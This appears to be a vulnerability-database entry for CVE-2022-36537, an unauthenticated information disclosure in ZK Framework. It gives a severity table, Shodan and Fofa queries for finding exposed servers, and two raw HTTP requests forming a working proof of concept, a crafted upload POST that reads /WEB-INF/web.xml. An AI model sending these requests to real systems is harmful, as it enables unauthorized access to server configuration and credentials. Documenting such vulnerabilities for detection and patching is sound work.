| Title | ZK Framework - Information Disclosure |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | The vulnerability can lead to the exposure of sensitive data, such as credentials or internal system information. |
| Remediation | Apply the latest security patches or updates provided by the ZK Framework to fix the information disclosure vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.93977 |
| CVE ID | CVE-2022-36537 |
| CWE ID | CWE-200 |
| Shodan Query | http.title:"Server backup manager"http.title:"server backup manager" |
| Fofa Query | title="server backup manager" |
| Tags | cve cve2022 zk-framework exposure unauth kev intrusive zkoss vkev vuln |
ZK Framework 9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1 is susceptible to information disclosure. An attacker can access sensitive information via a crafted POST request to the component AuUploader and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
GET /login.zul HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Connection: close
Accept-Encoding: gzip
POST /zkau/upload?uuid=101010&dtid=0g5nCF&sid=0&maxsize=-1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCs6yB0zvpfSBbYEp
------WebKitFormBoundaryCs6yB0zvpfSBbYEp
Content-Disposition: form-data; name="nextURI"
/WEB-INF/web.xml
------WebKitFormBoundaryCs6yB0zvpfSBbYEp--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-36537.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-36537.pcap
N/AN/A